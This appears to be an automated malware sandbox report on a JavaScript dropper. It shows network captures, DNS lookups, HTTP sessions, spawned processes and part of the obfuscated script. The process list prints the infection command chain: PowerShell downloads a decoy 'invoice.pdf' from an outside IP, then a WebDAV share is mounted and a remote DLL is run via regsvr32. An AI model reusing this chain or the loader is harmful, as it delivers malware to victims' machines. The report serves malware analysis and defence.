Jan 11, 2025 05:19:26.786432028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786442995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786462069 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.786474943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.786505938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786520004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786540031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786555052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786557913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.786576033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786587000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.786587000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786597967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786609888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786619902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786637068 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.786638975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786648035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786655903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.786665916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.786693096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.809185982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.809204102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.809216976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.809227943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.809238911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.809248924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.809261084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.809266090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.809308052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.819288969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.819329023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.819340944 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.819341898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.819353104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.819365978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.819376945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.819382906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.819391012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.819406986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.819423914 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.826498985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.830714941 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.838799953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.838816881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.838829041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.838840961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.838854074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.838860035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.838865995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.838879108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.838892937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.838912010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.838927984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.839365959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.839380026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.839391947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.839404106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.839416027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.839426994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.839430094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.839457035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.857141972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.857784033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.857805967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.857820034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.857831001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.857845068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.857856035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.857857943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.857868910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.857880116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.857891083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.857901096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.857906103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.857913017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.857920885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.857923031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.857934952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.857955933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.857981920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.862134933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.867018938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.993602037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:27.464796066 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:27.469754934 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:27.469836950 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:27.469986916 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:27.474734068 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:28.265568018 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:28.309864044 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:29.509337902 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:20:53.612067938 CET	59280	53	192.168.2.7	1.1.1.1
Jan 11, 2025 05:20:53.616987944 CET	53	59280	1.1.1.1	192.168.2.7
Jan 11, 2025 05:20:53.617085934 CET	59280	53	192.168.2.7	1.1.1.1
Jan 11, 2025 05:20:53.617125988 CET	59280	53	192.168.2.7	1.1.1.1
Jan 11, 2025 05:20:53.621922970 CET	53	59280	1.1.1.1	192.168.2.7
Jan 11, 2025 05:20:54.061908007 CET	53	59280	1.1.1.1	192.168.2.7
Jan 11, 2025 05:20:54.062805891 CET	59280	53	192.168.2.7	1.1.1.1
Jan 11, 2025 05:20:54.067956924 CET	53	59280	1.1.1.1	192.168.2.7
Jan 11, 2025 05:20:54.068105936 CET	59280	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:19:35.196603060 CET	54190	53	192.168.2.7	1.1.1.1
Jan 11, 2025 05:20:53.611485958 CET	53	58297	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:19:35.196603060 CET	192.168.2.7	1.1.1.1	0xa9c1	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:19:35.203962088 CET	1.1.1.1	192.168.2.7	0xa9c1	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:19:35.942640066 CET	1.1.1.1	192.168.2.7	0x7e59	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:19:35.942640066 CET	1.1.1.1	192.168.2.7	0x7e59	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:19:35.942640066 CET	1.1.1.1	192.168.2.7	0x7e59	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:19:35.942640066 CET	1.1.1.1	192.168.2.7	0x7e59	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:19:35.942640066 CET	1.1.1.1	192.168.2.7	0x7e59	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:19:35.942640066 CET	1.1.1.1	192.168.2.7	0x7e59	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:19:35.942640066 CET	1.1.1.1	192.168.2.7	0x7e59	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:19:35.942640066 CET	1.1.1.1	192.168.2.7	0x7e59	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:19:35.942640066 CET	1.1.1.1	192.168.2.7	0x7e59	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	4128	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:19:25.366609097 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:19:26.098243952 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:19:25 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:19:26.098263979 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:19:26.098274946 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 05:19:26.098287106 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 05:19:26.098297119 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 05:19:26.098308086 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 05:19:26.098318100 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 05:19:26.098330021 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 05:19:26.098341942 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 05:19:26.098352909 CET	1236	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L
Jan 11, 2025 05:19:26.103286982 CET	548	IN	Data Raw: f5 5b 85 65 79 f5 ec ff ae 9f b1 5c 09 95 35 d1 89 39 2d d7 ac 86 2e 6c ca 0d 5f 50 f3 6a fa 9f a0 90 1f 06 28 64 77 79 8f f9 15 be e1 c8 6a ae 6e fb 1e 6a ce eb 94 28 59 28 a1 92 41 53 c2 d6 af a3 1f 81 d7 53 99 7e c2 f7 da 29 77 6d 7d 4f 93 cf Data Ascii: [ey\59-.l_Pj(dwyjnj(Y(ASS~)wm}OP}'2`sVi%QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	193.143.1.205	8888	7328	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:19:27.469986916 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:19:28.265568018 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:19:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:19:22
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28926317492847332246.js"
Imagebase:	0x7ff675750000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:19:22
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Imagebase:	0x7ff66f960000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:19:22
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:19:22
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:19:26
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	23:19:26
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff66f960000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:19:26
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7b1af0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:19:27
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	23:19:27
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	23:19:27
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1752,i,11237480767968398890,12419897891309749261,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function cfrgzgglf() {	cfrgzgglf() ➔ undefined
1	qklhv = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kzoybvl = this[mqcczncpu + bhmveuq + niirjeen + iyycoqutj + knvftqzf + pajgl + mlipyy + zkghu] ( this[zhoqxy + rgupzp + vgtfpati + niirjeen + xgznzp + mqcczncpu + zkghu][rnzsua + niirjeen + knvftqzf + bhmveuq + zkghu + knvftqzf + rjfbyi + fuzxnmykb + qqdrkjdl + knvftqzf + vgtfpati + zkghu] ( zhoqxy + rgupzp + vgtfpati + niirjeen + xgznzp + mqcczncpu + zkghu + vzaslxth + rgupzp + eipnzi + knvftqzf + oeztosvuu + oeztosvuu ) [xvbhh + knvftqzf + bpees + xvbhh + knvftqzf + bhmveuq + vazxprech] ( ztehswa + gyitjgya + kovtz + innlek + tguhv + rnzsua + mfbvvbjwt + xvbhh + xvbhh + kovtz + atmuhnq + cqqjunki + tguhv + mfbvvbjwt + rgupzp + kovtz + xvbhh + vtnqz + rnzsua + vvhud + mlipyy + zkghu + niirjeen + vvhud + oeztosvuu + nerzn + gygfqlrgu + bhmveuq + mlipyy + knvftqzf + oeztosvuu + vtnqz + pajgl + mlipyy + zkghu + knvftqzf + niirjeen + mlipyy + bhmveuq + zkghu + xgznzp + vvhud + mlipyy + 